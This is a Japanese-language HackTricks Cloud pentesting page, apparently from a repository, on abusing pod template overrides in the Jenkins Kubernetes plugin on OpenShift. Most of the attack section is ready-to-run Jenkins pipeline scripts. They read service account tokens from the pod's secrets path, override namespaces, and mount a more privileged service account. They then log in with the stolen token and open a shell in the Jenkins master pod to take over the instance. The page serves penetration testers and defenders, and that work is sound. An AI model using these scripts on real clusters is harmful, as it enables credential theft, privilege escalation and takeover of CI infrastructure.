Files
hacktricks-cloud/src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md

7.4 KiB
Raw Blame History

Jenkins in Openshift - build pod overrides

{{#include ../../../banners/hacktricks-training.md}}

このページの元の著者は Fares

Kubernetes plugin for Jenkins

このプラグインは、openshift/kubernetes クラスター内の Jenkins コア機能を主に担当しています。公式ドキュメントは here です。 開発者が jenkins ビルドポッドのデフォルト設定をオーバーライドする機能など、いくつかの機能を提供します。

Core functionnality

このプラグインは、適切な環境でコードをビルドする際に、開発者に柔軟性を提供します。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

一部のポッド YAML オーバーライドを利用した悪用

ただし、Kali Linux のようなアクセス可能なイメージを使用し、そのイメージにプリインストールされたツールを使用して任意のコマンドを実行するために悪用される可能性があります。
以下の例では、実行中のポッドの serviceaccount トークンを抽出できます。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

異なる構文で同じ目標を達成する。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

ポッドの名前空間をオーバーライドするサンプル

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

別の例として、名前に基づいてサービスアカウントをマウントしようとするものがあります(これは、ビルドを実行しているデフォルトのものよりも多くの権限を持っている可能性があります)。最初に既存のサービスアカウントを推測または列挙する必要があるかもしれません。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

同じ技術は、Secretをマウントしようとすることにも適用されます。ここでの最終目標は、ポッドビルドを効果的にピボットまたは権限を取得する方法を見つけることです。

さらに進む

これに慣れてきたら、JenkinsとKubernetes/Openshiftに関する知識を使って、誤設定や悪用を見つけてください。

次の質問を自問してください:

  • ビルドポッドをデプロイするために使用されているサービスアカウントはどれですか?
  • それにはどのような役割と権限がありますか?現在いる名前空間のシークレットを読み取ることができますか?
  • 他のビルドポッドをさらに列挙できますか?
  • 侵害されたsaから、マスターード/ポッドでコマンドを実行できますか?
  • クラスターをさらに列挙して他の場所にピボットできますか?
  • どのSCCが適用されていますか

どのoc/kubectlコマンドを発行するかはこちらこちらで確認できます。

可能な権限昇格/ピボットシナリオ

評価中に、すべてのjenkinsビルドが_worker-ns_という名前空間内で実行されていることがわかったと仮定しましょう。ビルドポッドには_default-sa_というデフォルトのサービスアカウントがマウントされていることがわかりましたが、いくつかのリソースに対する読み取りアクセスを除いてそれほど多くの権限はありませんでしたが、_master-sa_という既存のサービスアカウントを特定することができました。 また、実行中のビルドコンテナ内にocコマンドがインストールされていると仮定しましょう。

以下のビルドスクリプトを使用すると、_master-sa_サービスアカウントを制御し、さらに列挙することができます。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

アクセスに応じて、ビルドスクリプトから攻撃を続ける必要があるか、実行中のクラスターでこのsaとして直接ログインできます:

oc login --token=$token --server=https://apiserver.com:port

この sa に十分な権限pod/exec などがある場合、同じ名前空間内で実行されているマスターードポッド内でコマンドを実行することにより、Jenkins インスタンス全体を制御することもできます。このポッドは、その名前と Jenkins データを保存するために使用される PVC永続ボリュームクレームをマウントしている必要があるため、簡単に特定できます。

oc rsh pod_name -c container_name

マスターノードポッドがワーカーと同じ名前空間内で実行されていない場合、マスターネームスペースをターゲットにして同様の攻撃を試みることができます。これを jenkins-master と呼ぶと仮定します。serviceAccount master-sa が jenkins-master 名前空間に存在する必要があることを忘れないでください(おそらく worker-ns 名前空間には存在しません)。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



{{#include ../../../banners/hacktricks-training.md}}